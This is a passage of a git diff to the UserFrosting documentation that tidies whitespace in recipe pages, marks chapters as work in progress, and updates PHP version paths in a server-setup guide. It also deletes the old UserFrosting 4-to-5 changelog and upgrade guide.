+Notice that `PageMembers` only does one thing - it renders the contents of a template file (`pages/members.html.twig`), and appends it to the response. We then return this (modified) response to the main application, which sends it off to the client. Both arguments of the `__invoke` method, the Response as well as the Twig Services, will be [injected by the Dependency Injector Container](dependency-injection) to perform these operations.
 
 Next we'll create the page template itself, which contains the actual HTML content we want to render.
 
diff --git a/app/pages/6.0/20.recipes/02.extending-the-user-model/docs.md b/app/pages/6.0/20.recipes/02.extending-the-user-model/docs.md
index 37a64084..6f005b4d 100644
--- a/app/pages/6.0/20.recipes/02.extending-the-user-model/docs.md
+++ b/app/pages/6.0/20.recipes/02.extending-the-user-model/docs.md
@@ -279,7 +279,7 @@ The problem, of course, is that all of the controllers in the Sprinkle that _def
 
 Fortunately, the default Sprinkles never directly reference the `User` class. Instead, they **[inject](dependency-injection)** the `UserInterface`. All we need to do, then, is remap the `UserInterface` to our new class, `Member`. This can be done via [Autowire](dependency-injection/the-di-container#binding-interfaces) in a [service provider](services/extending-services).
 
-Create a class `src/ServicesProvider/MemberModelService.php` : 
+Create a class `src/ServicesProvider/MemberModelService.php` :
 
 ```php
 <?php
@@ -303,7 +303,7 @@ class MemberModelService implements ServicesProviderInterface
 
 Plus, add `MemberModelService` to your Sprinkle recipe:
 
-```php 
+```php
 public function getServices(): array
 {
     return [
@@ -386,7 +386,7 @@ $fieldNames = ['user_name', 'name', 'email', 'locale', 'group', 'roles'];
 
 ...and add the `city` and `country` fields in your copied method.
 
-We'll also need to link the route endpoints to this new class. To do this, we'll once again use the dependency injector to remap the `UserPageAction` to our new `MemberPageAction` class : 
+We'll also need to link the route endpoints to this new class. To do this, we'll once again use the dependency injector to remap the `UserPageAction` to our new `MemberPageAction` class :
 
 ```php
 <?php
diff --git a/app/pages/6.0/20.recipes/07.advanced-tutorial/06.custom-namespace/docs.md b/app/pages/6.0/20.recipes/07.advanced-tutorial/06.custom-namespace/docs.md
index 7110a4e1..85a27c1d 100644
--- a/app/pages/6.0/20.recipes/07.advanced-tutorial/06.custom-namespace/docs.md
+++ b/app/pages/6.0/20.recipes/07.advanced-tutorial/06.custom-namespace/docs.md
@@ -6,7 +6,7 @@ obsolete: true
 
 ## Custom Namespace
 
-The default namespace provided in the Skeleton, `UserFrosting\App\{Path}`, can easily be changed in your app. 
+The default namespace provided in the Skeleton, `UserFrosting\App\{Path}`, can easily be changed in your app.
 
 Previous version of UserFrosting required a strict namespace (`UserFrosting\Sprinkle\{SprinkleName}\{Path}`). Starting with UserFrosting 5, the namespace can be whatever you want. It doesn't event need to include **UserFrosting** or **Sprinkle**. It *can* still be like this, but it could also be `YourName/YourApp/{Path}` or `App/{Path}`.
 
@@ -14,7 +14,7 @@ In this example, we'll replace the default namespace for `UserFrosting\Sprinkle\
 
 ### composer.json
 
-First thing to do is to replace the namespace in your `composer.json` in **autoload** and **autoload-dev**: 
+First thing to do is to replace the namespace in your `composer.json` in **autoload** and **autoload-dev**:
 
 **composer.json**:
 ```json
@@ -32,7 +32,7 @@ First thing to do is to replace the namespace in your `composer.json` in **autol
 // ...
 ```
 
-Now we need to update **Composer** so our new [PSR4 mapping](http://www.php-fig.org/psr/psr-4/#3-examples) is picked up. From the command line, run in the **root directory** of your UserFrosting project: 
+Now we need to update **Composer** so our new [PSR4 mapping](http://www.php-fig.org/psr/psr-4/#3-examples) is picked up. From the command line, run in the **root directory** of your UserFrosting project:
 
 ```bash
 $ composer update
@@ -40,7 +40,7 @@ $ composer update
 
 ### Class reference
 
-You can now find and replace every reference of `UserFrosting\App\` for `UserFrosting\Sprinkle\Pastries` in your classes. Don't forget that you'll need to replace it in : 
+You can now find and replace every reference of `UserFrosting\App\` for `UserFrosting\Sprinkle\Pastries` in your classes. Don't forget that you'll need to replace it in :
 
 - Namespace at the top of every classes (`namespace UserFrosting\App\{...};` -> `namespace UserFrosting\Sprinkle\Pastries\{...};`);
 - Every class importation (`use UserFrosting\App\{...};` -> `use UserFrosting\Sprinkle\Pastries\{...};`);
@@ -169,7 +169,7 @@ class MyApp implements SprinkleRecipe, MigrationRecipe, SeedRecipe
 ```
 
 ### Routes
-One caveat of removing the default Skeleton pages, the index page won't exist anymore. Your app won't have an entry page (eg. https://yourapp/) and an error will be thrown. One way to get around this problem is to replace the default routes with a redirect, from `/` to the `/dashboard`. For example : 
+One caveat of removing the default Skeleton pages, the index page won't exist anymore. Your app won't have an entry page (eg. https://yourapp/) and an error will be thrown. One way to get around this problem is to replace the default routes with a redirect, from `/` to the `/dashboard`. For example :
 
 **app/src/MyRoutes.php**:
 ```php
diff --git a/app/pages/6.0/20.recipes/07.advanced-tutorial/07.going-further/docs.md b/app/pages/6.0/20.recipes/07.advanced-tutorial/07.going-further/docs.md
index 1e2329c8..fce04890 100644
--- a/app/pages/6.0/20.recipes/07.advanced-tutorial/07.going-further/docs.md
+++ b/app/pages/6.0/20.recipes/07.advanced-tutorial/07.going-further/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Going further
 description: Ideas on how to further improve the pastry page and learn more about UserFrosting!
-obsolete: true
+wip: true
 ---
 
 We now have a complete, but very basic page to display a table of data dynamically powered by the database. But, there is a lot more we can still do to improve this page! Continue exploring the documentation to learn how to add more features to your pastry page:
diff --git a/app/pages/6.0/20.recipes/07.advanced-tutorial/chapter.md b/app/pages/6.0/20.recipes/07.advanced-tutorial/chapter.md
index b5a5c6e9..08fab62e 100644
--- a/app/pages/6.0/20.recipes/07.advanced-tutorial/chapter.md
+++ b/app/pages/6.0/20.recipes/07.advanced-tutorial/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Advanced tutorial
 description: A complete step-by-step guide to creating a complex page for UserFrosting. We'll set up a new "Pastry" database table and data model, and implement a page that displays a sortable, searchable table of these entities.
-obsolete: true
+wip: true
 ---
 
 # Advanced tutorial
diff --git a/app/pages/6.0/20.recipes/chapter.md b/app/pages/6.0/20.recipes/chapter.md
index 5b3ddb79..25170437 100644
--- a/app/pages/6.0/20.recipes/chapter.md
+++ b/app/pages/6.0/20.recipes/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Recipes
 description: Solutions for common tasks in creating an application based on UserFrosting.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 20
diff --git a/app/pages/6.0/21.going-live/03.vps-production-environment/01.server-setup/docs.md b/app/pages/6.0/21.going-live/03.vps-production-environment/01.server-setup/docs.md
index ddb4fdbf..e213fba0 100644
--- a/app/pages/6.0/21.going-live/03.vps-production-environment/01.server-setup/docs.md
+++ b/app/pages/6.0/21.going-live/03.vps-production-environment/01.server-setup/docs.md
@@ -78,7 +78,7 @@ Some notes:
 Install gd and curl:
 
 ```bash
-sudo apt-get install php8.3-gd
+sudo apt-get install php8.5-gd
 sudo apt-get install php-curl
 sudo service nginx restart
 ```
@@ -87,12 +87,12 @@ sudo service nginx restart
 
 PHP's [`get_browser()`](http://php.net/manual/en/function.get-browser.php) function uses the `User-Agent` header to guess information about your visitors such as browser, OS, etc. For it to work properly, you need to download a copy of `browscap.ini` from the [Browscap Project](https://browscap.org) and configure your `php.ini` to find the file.
 
-Assuming that your PHP installation is in `/etc/php/8.0`, do the following:
+Assuming that your PHP installation is in `/etc/php/8.5`, do the following:
 
 ```bash
-cd /etc/php/8.3/fpm
+cd /etc/php/8.5/fpm
 sudo mkdir extra
-sudo curl -o /etc/php/8.3/fpm/extra/browscap.ini https://browscap.org/stream?q=Lite_PHP_BrowsCapINI
+sudo curl -o /etc/php/8.5/fpm/extra/browscap.ini https://browscap.org/stream?q=Lite_PHP_BrowsCapINI
 ```
 
 This will download the "lite" browscap database, which is supposed to be adequate for most websites. Visit [Browscap Project](https://browscap.org) for other options.
@@ -100,7 +100,7 @@ This will download the "lite" browscap database, which is supposed to be adequat
 Now, we need to edit our `php.ini` to tell PHP where this file is located:
 
 ```bash
-sudo nano /etc/php/8.0/fpm/php.ini
+sudo nano /etc/php/8.5/fpm/php.ini
 ```
 
 Use Ctrl+W to search for the `browscap` section. Uncomment the `browscap = ` line. When you're done, it should look like this:
@@ -147,7 +147,7 @@ Notes:
 
 ```bash
 sudo phpenmod mcrypt
-sudo service php8.3-fpm restart
+sudo service php8.5-fpm restart
 ```
 
 To disable root login and restrict access to specific users:
diff --git a/app/pages/6.0/22.upgrading/01.46-to-50/01.changelog/docs.md b/app/pages/6.0/22.upgrading/01.46-to-50/01.changelog/docs.md
deleted file mode 100644
index 754262e3..00000000
--- a/app/pages/6.0/22.upgrading/01.46-to-50/01.changelog/docs.md
+++ /dev/null
@@ -1,139 +0,0 @@
----
-title: What's new ?
-description: A detailed look at what's new in UserFrosting 5.
-obsolete: true
----
-
-UserFrosting 5 is the culmination of two years of work. It is a complete rewrite of the backend PHP code. And by complete, we _really_ mean **complete**. No class was left untouched! The key points are :
-- Slim 3 upgraded to Slim 4
-- Pimple Dependency Injection Container replaced with [PHP-DI](https://php-di.org)
-- Frontend assets management replaced with [Webpack Encore](https://symfony.com/doc/current/frontend.html)
-- New Sprinkle system, now with extra modularity
-- Skeleton type main repo for easier initial development
-- Built-in sprinkle are now loaded by Composer
-- New Event dispatcher and listener services
-- New Bakery command available for easier debugging
-- Added return type, type-hint and other quality improvement across all code
-- (Almost) 100% test coverage and quality check through PHPStan
-- ***And so much more***
-
-The Slim migration itself is a big deal. While brining UF to a more modern era, it had the most impact on the core changes applied to the UserFrosting framework. Most changes were made in response to the new Slim 4 requirements and changes. It also required the use of a new Dependency Injector, which itself _really_ brought UserFrosting 5 to a whole new level. You should really check out [PHP-DI](https://php-di.org), it's awesome!
-
-Basically, UserFrosting 5 uses updated dependencies, all of existing code have been updated to new standard and new test coverage should provide better long term stability.
-
-## What UserFrosting 5 isn't ? 
-
-UserFrosting 5 is not a drop-in replacement for UserFrosting 4. The whole backend has been rewritten, with a new container, new sprinkle system, etc. which will require most sprinkle and app to be updated manually.
-
-## What's the same ?
-
-UserFrosting 5 keeps the same frontend as UserFrosting 4. But the bases have been set for the future, with Webpack Encore and the current AdminLTE theme have been separated in it's own Sprinkle, all of which provides the necessary tools for [Vue.js](https://vuejs.org) or other similar frontend in the future.
-
-The database structure is 99% identical to UserFrosting 4. One migration have been added, but it's a simple, optional even, modification. This means your data shouldn't be impacted by the upgrade. 
-
-## New requirements
-
-With the release of PHP 8 in november 2020 some major updates where made to the system requirements. UserFrosting 5 now requires :
-- PHP 8.0 or higher
-- [Node.js](https://nodejs.org/en/) 18 or higher
-- [Composer 2](https://getcomposer.org/)
-
-While any version of PHP 8 is supported, we recommend you use the latest version.
-
-## New Structure
-
-This is where all the magic happened. The [new structure](structure) introduced in UserFrosting 5 makes it even more easier to separate your code from UserFrosting's code. This also makes it easier for new developer to get started with UserFrosting. Upgrading will also be easier, as everything is now managed by Composer. Requesting a new major version will required to edit your `composer.json` file. Finally, default pages and content are not part of the Core Sprinkle anymore. This makes easier to overwrite default pages.
-
-The old directory structure looked like this:
-
-```txt
-├── app/
-    ├── cache/
-    ├── database/
-    ├── logs/
-    ├── sessions/
-    ├── sprinkles/
-        ├── account/
-        ├── admin/
-        ├── core/
-        └── yourSprinkle/
-            ├── assets/
-            ├── config/
-            ├── locale/
-            ├── routes/
-            ├── schema/
-            ├── src/
-                ├── Bakery/
-                ├── Controllers/
-                ├── Database/
-                ├── [...]
-                └── Sprunje/
-            ├── templates/
-            ├── tests/
-            ├── composer.json
-            └── asset-bundles.json
-    ├── storage/
-    ├── system/
-    ├── tests/
-    ├── .env
-    ├── defines.php
-    └── sprinkles.json
-├── public/
-├── vendor/
-└── composer.json
-```
-
-The new structure looks like this:
-```txt
-├── app/
-    ├── assets/
-    ├── cache/
-    ├── config/
-    ├── database/
-    ├── locale/
-    ├── logs/
-    ├── schema/
-    ├── src/
-        ├── Bakery/
-        ├── Controllers/
-        ├── Database/
-        ├── [...]
-        ├── Routes/
-        ├── Sprunje/
-        └── yourSprinkle.php
-    ├── storage/
-    ├── templates/
-    ├── tests/
-    └── .env
-├── public/
-├── vendor/
-    ├── account/
-    ├── admin/
-    └── core/
-├── composer.json
-├── package.json
-└── webpack.config.js
-```
-
-As you see, since `/vendor` should be omitted from version control (your Github Repository), the new structure is much more cleaner! This doesn't means your code can't be distributed and added as a sprinkle in another UserFrosting powered app. [Community Sprinkle](sprinkles/community) are still a thing! This new structure even makes it easier to develop them!
-
-### Sprinkles
-All [bundled Sprinkles](structure/sprinkles#bundled-sprinkles) are now managed by Composer, and directly required in your project's `composer.json`. Gone is the `app/sprinkles` directory. Your app now sits in `/app` directly and other Sprinkles will now be loaded into the `vendor/` directory, like any other dependencies.
-
-Gone is also `app/sprinkles.json`. To register sprinkles, we now use **[Sprinkle Recipe](sprinkles/recipe)**. Recipes makes it easier for sprinkle to define other sprinkle as dependencies. In fact, recipe also makes it easier for Sprinkles to _register_ any class and resources they need. UserFrosting 4 used to rely on naming convention and auto-discovery, which was prone to errors. Registering resources also makes the structure more adaptable, as there's **no** naming convention anymore for classes : The structure of `/src` can be whatever you want! You can read more about [Sprinkle Recipe here](sprinkles/recipe).
-
-Finally, as mentioned before, the AdminLTE Theme has been moved to it's own Sprinkle. This will make it easier to switch theme in the future, but also means some reference will need to be updated.
-
-### Routes
-
-Routes used to be in `sprinkles/routes`. While still technically PHP files, they were not part of any namespace, and were included using the [`require()`](https://www.php.net/manual/fr/function.require.php) method. Routes are now namespaced, same as any other class in `src/`.
-
-It also means routes file are not directly overwritten anymore, similar to template files. They're not real classes, and must be mapped, or in case of UserFrosting 5, injected properly.
-
-### Dependency injection
-
-As mentioned in previous paragraphs, UserFrosting 5 now uses [PHP-DI](https://php-di.org) a. This brings a **ton** of new features and capability. The best way to understand how it affect your code in UserFrosting 5, head over to the [Dependency Injection Chapter](dependency-injection).
-
-## Migrating
-
-Now that we've cover the basics changes, follow on to the next pages to the steps required to bring your app up to date with UserFrosting 5.
diff --git a/app/pages/6.0/22.upgrading/01.46-to-50/02.guide/docs.md b/app/pages/6.0/22.upgrading/01.46-to-50/02.guide/docs.md
deleted file mode 100644
index 882800eb..00000000
--- a/app/pages/6.0/22.upgrading/01.46-to-50/02.guide/docs.md
+++ /dev/null
@@ -1,347 +0,0 @@
----
-title: Upgrade Guide
-description: Upgrade guide from version 4.6.x to 5.0.x
-obsolete: true
----
-
-Upgrading an existing sprinkle from UserFrosting 4 to UserFrosting 5 can unfortunately be a difficult task. It all depends on how much customization of the core code you have done. Very basic sites will be easy to upgrade, very complex ones could be a nightmare. However, it's for the greater good; UserFrosting 5 is more modern and uses new techniques.
-
-> [!WARNING]
-> This guide contains the most important changes and the actions you need to take to upgrade your UserFrosting 4 Sprinkle. However, **it's far from complete**, as there are too many changes to document. Make sure you have a backup of your existing application and your **development database** before starting.
-> If you spot anything missing, don't hesitate to contribute to this page via the [*edit this page*](https://github.com/userfrosting/learn/blob/5.1/pages/22.upgrading/01.46-to-50/02.guide/docs.md) button at the top.
-
-## Before you start
-
-The upgrade path for your UserFrosting 4 sprinkle will depend on how many features you're using. The good news is, the database structure is the same, and the frontend is 90% the same.
-
-To begin the upgrade journey, **the first thing you should do is a [fresh install](installation) of UserFrosting 5**. This is important, as it will allow you to familiarize yourself with the new structure, as well as validate that your [local development environment](background/develop-locally-serve-globally) is up to date and meets the [minimum requirements](installation/requirements).
-
-Once you have a functioning vanilla version of UserFrosting 5, you can begin to upgrade your sprinkle.
-
-> [!NOTE]
-> While the database structure is mostly the same between V4 and V5, it is highly recommended you keep a backup of your existing application and your **development database**.
-
-## Upgrading your sprinkle structure
-
-As seen on the [previous page](upgrading/46-to-50/changelog), one of the biggest changes is the app structure. It's recommended before you start to head over to [Chapter 3 - App Structure](structure), to learn more about this new structure.
-
-Once you're familiar with the new structure, it's time to move things around so your sprinkle meets the new structure. There are two options here: You can either start from scratch from the [Skeleton repo](structure/introduction#the-app-skeleton-your-project-s-template), *or* you can manually upgrade in place.
-
-The first option is easier as the base has been set up for you, and you can start right away moving your code into the skeleton created from the sprinkle template, in a new git repository. However, its drawback is you'll probably lose your Git History. The second option is harder, but since you're starting from your existing code, you'll keep your git history if your code is saved on GitHub for example.
-
-### Option 1 - Start over from the Skeleton
-
-To start with this option, the first step is to create a [fresh install](installation) from the app skeleton. You'll then have an empty sprinkle with the new structure, ready to copy your code into it. However, there are some steps you need to follow before going further.
-
-#### Update `composer.json`
-
-The Skeleton comes with a basic `composer.json`. This defines the PSR-4 autoload namespace to `UserFrosting\App\`. You should edit this file to fit your sprinkle, as well as use the **same namespace as your old sprinkle**.
-
-> [!NOTE]
-> **Important:** To make sure your migrations and database data are preserved, the app namespace must be the same
-
-You'll also need to update the namespace in every existing class, `index.php`, and `bakery`. See [Customizing Your Sprinkle](sprinkles/customize#custom-namespace-and-name) for more information.
-
-Once this is done, you can run `composer update` to fetch dependencies.
-
-#### Edit the Recipe
-
-Next up, you should familiarize yourself with the [Sprinkle Recipe](sprinkles/recipe#name). Right now, the only thing you must update is the sprinkle name, but we'll come back later to the recipe.
-
-#### Moving your code
-
-The last part is to move your code from `app/sprinkles/{YourSprinkle}/` from your old install (usually from `app/sprinkles/{YourSprinkle}/`) to `app/` in the new directory.
-
-At this point, you can skip to [Upgrading components](upgrading/46-to-50/guide#upgrading-components).
-
-### Option 2 - Upgrade in place
-
-To start with this option, you should already be familiar with UserFrosting 5 directory structure, as it involves moving some directories around and editing some files. It also assumes your code (your sprinkle) was located (and not as a community sprinkle for example). You should have a UserFrosting 5 skeleton repo on hand to copy some files.
-
-#### Moving files and directories
-
-- Delete:
-  - `composer.json`
-  - `bakery`
-  - `build/`
-  - `vagrant/`
-  - `public/index.php`
-  - `app/system/`
-  - `app/tests/`
-  - `app/defines.php`
-  - `app/.htaccess`
-  - `app/sprinkles/account/`
-  - `app/sprinkles/admin/`
-  - `app/sprinkles/core/`
-  - `app/sprinkles.example.json`
-  - `app/sprinkles.json`
-- Move everything inside `app/sprinkles/{YourSprinkle}/` to `app/`, and delete the empty `app/sprinkles/` directory.
-- Copy from the skeleton, replacing existing files:
-  - `/public/index.php`
-  - `/bakery`
-  - `/package.json`
-  - `/webpack.config.js`
-  - `/webpack.entries.js`
-  - `docker-compose.yml`
-  - `docker/`
-  - `.gitignore`
-
-#### Updating `composer.json`
-
-In UserFrosting 4, your `composer.json` was located in `app/sprinkles/{YourSprinkle}/composer.json`. It was merged with the main composer file and the dependent sprinkles on build. With UserFrosting 5, there's only one `composer.json`: Yours. And it lives in `/composer.json`.
-
-This step requires you to merge your `composer.json` with UF5's. Start by moving your file, which should now be located at `/app/sprinkles.json` to `/composer.json`.
-
-Next, you'll need to update some dependencies. Open `composer.json` **from the skeleton**, and copy every dependency from `required` and `require-dev` from it to your `composer.json`.
-
-You should also update the path for the `autoload` and `autoload-dev` sections to point to `app/src/` and `app/tests/` respectively.
-
-> [!NOTE]
-> **Important:** Don't change the namespace if you want to keep the existing migration
-
-Once this is done, you can run `composer update` to fetch dependencies.
-
-#### The Recipe
-
-The next step is to create your [sprinkle recipe](sprinkles/recipe#name).
-
-Start by:
-- Copy `app/src/MyApp.php` from the skeleton into your app, inside `app/src/`
-- You can rename `MyApp` to whatever you want. Simply don't forget to adapt the next steps with the name you chose.
-- Change the namespace inside your `app/src/MyApp.php` to the namespace you use in your `composer.json`.
-
-We'll update the rest of your recipe later.
-
-#### The entry files
-
-Finally, you'll need to update both *entry files*, aka `/bakery` and `/public/index.php`, with the correct reference to your recipe. Open both files, and replace `UserFrosting\App\MyApp` and `MyApp` with the correct reference to your recipe. See [this page](sprinkles/customize#the-entry-files) for more information and examples.
-
-## Upgrading components
-
-At this point, your UserFrosting 5 app is _kind of ready_ to work. You simply need to upgrade every component you use. The following list might contain stuff you're not using, but you should still go through them as they contain links and tips you may need later.
-
-Remember, this guide will give you only the big picture of what changed, but it will point you to the relevant parts of the documentation where more detail can be found.
-
-### Global changes
-
-It's important to note some changes have been applied at large and affect pretty much every PHP class, based on PHP 8 new features. These changes include:
-
-- Extensive use of type declaration and [return types](https://dev.to/karleb/return-types-in-php-3fip)
-- [Named Arguments](https://www.php.net/releases/8.0/en.php#named-arguments)
-- [Constructor property promotion](https://www.php.net/releases/8.0/en.php#constructor-property-promotion)
-- [Union type](https://www.php.net/releases/8.0/en.php#union-types)
-- [Etc.](https://www.php.net/releases/8.0/en.php)
-
-Keep this in mind, especially if you've extended built-in classes. Not only may these classes have been renamed or moved, but the method declaration might have changed even if the code of these methods hasn't.
-
-### Services -> Dependency Injection
-
-Services have been updated for UserFrosting 5. While the principle is the same, the way to register a service is different. Services are now served by the new dependency injection container, PHP-DI. You should head over to the [Dependency Injection Chapter](dependency-injection) to learn more about PHP-DI integration in UserFrosting 5 before going further.
-
-Your services definition must first be updated to implement `UserFrosting\ServicesProvider\ServicesProviderInterface`. For example:
-
-**OLD:**
-```php
-class ServicesProvider
-{
-    public function register(ContainerInterface $container)
-    {
-        // ...
-    }
-}
-```
-
-**NEW:**
-```php
-use UserFrosting\ServicesProvider\ServicesProviderInterface;
-
-class ServicesProvider implements ServicesProviderInterface
-{
-    public function register(): array
-    {
-        return [
-            // ...
-        ];
-    }
-}
-```
-
-You'll also need to **register your service** in your recipe. Check out [Adding Services](dependency-injection/adding-services) for more information.
-
-Finally, instead of injecting the whole container and retrieving your service from it, you should inject the service directly into the class using [autowiring](dependency-injection/the-di-container#autowiring) in the class constructor or through [route service injection](routes-and-controllers/controller-classes#service-injection) for example.
-
-For example:
-
-**OLD:**
-```php
-public function __construct($ci)
-{
-    $this->camHelper = $ci->camHelper;
-}
-```
-
-**NEW:**
-```php
-public function __construct(protected CamHelper $camHelper): void
-{
-
-}
-```
-
-### Classmapper
-
-The classmapper has been removed in UF5. PHP-DI should be used instead, via the "autowire" and [interface binding](dependency-injection/the-di-container#binding-interfaces). Existing classmapper definitions should be moved inside a service, and calls to the classmapper should be updated to use dependency injection via the controller or other methods.
-
-### Migrations
-
-Migrations are mostly the same, only the class structure has changed, as well as the need to register migrations in your Sprinkle Recipe. The key points regarding migration are as follows:
-
-1. Up/Down return type: The `up()` and `down()` methods [must now have a return type of `void`](database/migrations#base-class).
-   
-2. Migrations must [now extend](database/migrations#base-class) `UserFrosting\Sprinkle\Core\Database\Migration`. Change `use UserFrosting\System\Bakery\Migration;` to `use UserFrosting\Sprinkle\Core\Database\Migration;` in every one of your migrations.
-   
-3. [Dependencies](database/migrations#dependencies) must now be declared in a static property. Change `public $dependencies = [];` to `public static $dependencies = [];` in every one of your migrations.
-   
-4. Migrations are not auto-discovered anymore. You need to add them to your sprinkle recipe, using `MigrationRecipe`. See [the migration chapter](database/migrations#sprinkle-recipe) for more information and a detailed guide.
-
-### Seeds
-
-Seeds are also mostly the same; they just need to implement `\UserFrosting\Sprinkle\Core\Seeder\SeedInterface` and have a `run()` function with a return type of `void`. They are also not auto-discovered, so need to be added to your sprinkle recipe using `SeedRecipe`. 
-
-See [the seeding chapter](database/seeding) for more details.
-
-### Models
-
-The only change in the database model is the `$timestamps` property is now `true` by default. It used to be `false`. `public $timestamps = true;` can be removed from your models unless you're **not** using timestamps, in which case you should add `public $timestamps = false;`.
-
-### Routes
-
-The way to register routes has changed. The definition is mostly the same; however, the routes are now real PHP classes instead of static PHP resources. Check out the [Registering routes](routes-and-controllers/registering-routes) guide for more information.
-
-To update your routes, you should start by:
-
-1. Moving your routes from `app/routes/*` to `app/src/Routes/*`.
-2. Updating your route definitions so they are classes [implementing RouteDefinitionInterface](routes-and-controllers/registering-routes).
-3. Registering your routes in your Sprinkle Recipe.
-
-A few other key points to know:
-1. Definitions for route groups have changed. See [Slim Documentation](https://www.slimframework.com/docs/v4/objects/routing.html#route-groups) for more information.
-2. Controller resolution should be updated to make use of [PHP’s `::class` operator](https://www.slimframework.com/docs/v4/objects/routing.html#container-resolution).
-3. Middleware must now be called by their class name. For example, `authGuard` must be updated to `UserFrosting\Sprinkle\Account\Authenticate\AuthGuard::class`.
-
-### Sprunje
-The Sprunje class used to accept options in the constructor. To make it easier to [inject dependencies](dependency-injection/the-di-container), options should now be defined using the `setOptions` method. Sprunje should now be injected into controllers.
-
-**OLD:**
-```php
-public function camsList(Request $request, Response $response, array $args)
-{
-    // GET parameters
-    $params = $request->getQueryParams();
-
-    /** @var /UserFrosting\Sprinkle\Core\Util\ClassMapper $classMapper */
-    $classMapper = $this->ci->classMapper;
-
-    /** @var \UserFrosting\Sprinkle\Core\Router $router */
-    $router = $this->ci->router;
-
-    $sprunje = new CamsSprunje($classMapper, $params, $router);
-
-    return $sprunje->toResponse($response);
-}
-```
-
-**NEW:**
-```php
-public function camsList(Request $request, Response $response, CamsSprunje $sprunje): Response
-{
-    // GET parameters
-    $params = $request->getQueryParams();
-
-    return $sprunje->setOptions($params)->toResponse($response);
-}
-```
-
-This also means the **Classmapper** is no longer available in Sprunjes. You should inject the necessary classes and services into your Sprunjes.
-
-### Controllers
-
-Simple changes have been made to controller classes: 
-
-1. Remove `extends SimpleController`, no extension is required anymore.
-2. `use Slim\Http\Request;` must be changed to `use Psr\Http\Message\ServerRequestInterface as Request;`
-3. `use Slim\Http\Response;` must be changed to `use Psr\Http\Message\ResponseInterface as Response;`
-4. Since the DI container is not available globally in the controllers, the services you require must be [injected via the constructor](routes-and-controllers/controller-classes#service-injection).
-   1. For example, to use the `view` service, inject `Slim\Views\Twig`.
-5. Routes placeholder, usually in the `$args` variables, should now [be directly injected](https://php-di.org/doc/frameworks/slim.html#route-placeholder-injection). See [Retrieving URL Parameters](https://learn.userfrosting.com/routes-and-controllers/client-input#retrieving-url-parameters) for more information.
-
-See the [Controller classes](routes-and-controllers/controller-classes) guide for more information.
-
-> [!NOTE]
-> If your sprinkle extends a controller class from a default sprinkle instead of `SimpleController`, note that **every** controller class from the default sprinkles has been moved, renamed, and rewritten as *Action classes*. You will need to check out the sprinkle source code to find out how to update your sprinkle.
-
-### Bakery
-
-Simple changes have been made to bakery commands: 
-
-1. Commands must extend `Symfony\Component\Console\Command\Command` instead of `UserFrosting\System\Bakery\BaseCommand`.
-2. Services should be injected through the class constructor (don't forget to call the parent constructor) or via [attribute injection](https://php-di.org/doc/attributes.html#inject).
-3. Add the `use UserFrosting\Bakery\WithSymfonyStyle;` trait to access `$this->io`.
-4. Commands should return `return self::SUCCESS;` or `return self::FAILURE;`.
-
-The biggest change is you're now required to **register your command in your sprinkle recipe**. Check out the [Bakery CLI](cli/custom-commands#command-class-template) chapter for more information.
-
-Also note that the `create-admin` command has been renamed `create:admin-user`. If you were adding custom commands to the "bake" command, you can now use the [Extending Aggregator Commands](cli/extending-commands) guide to achieve this more easily.
-
-### Resources Stream / Locator
-
-Not much has changed regarding the Resource Locator. Refer to the [Locator Service](advanced/locator) page for more information. Note, however, that the two streams below have been renamed:
-
-1. log -> logs
-2. session -> sessions
-
-### Template
-
-Three points are to be considered when working with templates:
-
-First, sprinkles have been renamed. If you're extending a default sprinkle, you'll need to update the sprinkle reference in the `extends` tag. For example: `{% extends "@admin/pages/activities.html.twig" %}` => `{% extends "@admin-sprinkle/pages/activities.html.twig" %}`. Check the table below for a list of sprinkle identifiers.
-   
- | Name             | Slug             |
- |------------------|------------------|
- | Admin Sprinkle   | admin-sprinkle   |
- | AdminLTE Theme   | adminlte-theme   |
- | Account Sprinkle | account-sprinkle |
- | Core Sprinkle    | core-sprinkle    |
-
-In a similar way, some Twig templates have been moved to the "AdminLTE" sprinkle. Be sure to check the new structure if you're extending templates with the `extends` tag. Some template files previously in the Admin Sprinkle might be in the AdminLTE sprinkle now.
-
-FontAwesome has also been updated, and references to icons must also be updated: `fa` -> `fas`.
-
-### Misc
-
-1. Facades (Translator, etc.) are no longer available. The corresponding service should be injected properly now.
-2. Router `PathFor` has been changed. To generate a route based on its name, inject `UserFrosting\Sprinkle\Core\Util\RouteParserInterface` and use the `urlFor` method.  
-3. Exceptions have changed, especially HTTP ones. For example: `use UserFrosting\Support\Exception\ForbiddenException;` => `use UserFrosting\Sprinkle\Account\Exceptions\ForbiddenException;`. Check out the [Exception and Error Handling](advanced/error-handling#default-exceptions) guide for more information.
-
-### Login redirect
-
-If your sprinkle was implementing a custom post-login destination, be sure to [check out the updated recipe](recipes/custom-login-page#changing-the-post-login-destination).
-
-### Testing
-
-If your sprinkle had automated testing:
-1. [Create a new Sprinkle Test case](testing/writing-tests/testcase)
-2. `setupTestDatabase` has been removed, it's no longer necessary.
-3. `UserFrosting\Sprinkle\Core\Tests\RefreshDatabase` is now `UserFrosting\Sprinkle\Core\Testing\RefreshDatabase`.
-4. `TestDatabase` is removed.
-5. `withTestUser` usage [has been updated](testing/writing-tests/traits#withtestuser).
-6. [Factories have been overhauled](testing/writing-tests/factories).
-
-## Assets
-
-Asset management has been completely changed. Instead of a custom solution, UserFrosting 5 now uses [Symfony's Webpack Encore](https://github.com/symfony/webpack-encore) to handle and build frontend assets. Your first stop should be the [Asset Chapter](asset-management) or the documentation for an in-depth guide for this new system.
-
-The key points here are:
-1. Your `asset-bundles.json` must be replaced with a new [entrypoint and entries](asset-management/asset-bundles).
-2. Rendering of assets (CSS and JS entries) [must be updated](asset-management/asset-bundles#rendering-entrypoints). Check out the `content/scripts_site.html.twig` and `content/stylesheets_site.html.twig` files from the skeleton repo for an example.
-3. Static assets must be [copied to the built directory](asset-management/basic-usage).
diff --git a/app/pages/6.0/22.upgrading/01.46-to-50/03.roadmap/docs.md b/app/pages/6.0/22.upgrading/01.46-to-50/03.roadmap/docs.md
deleted file mode 100644
index 4778bdbf..00000000
--- a/app/pages/6.0/22.upgrading/01.46-to-50/03.roadmap/docs.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: Future Roadmap
-description: ""
-obsolete: true
----
-
-## How will future update be done?
-
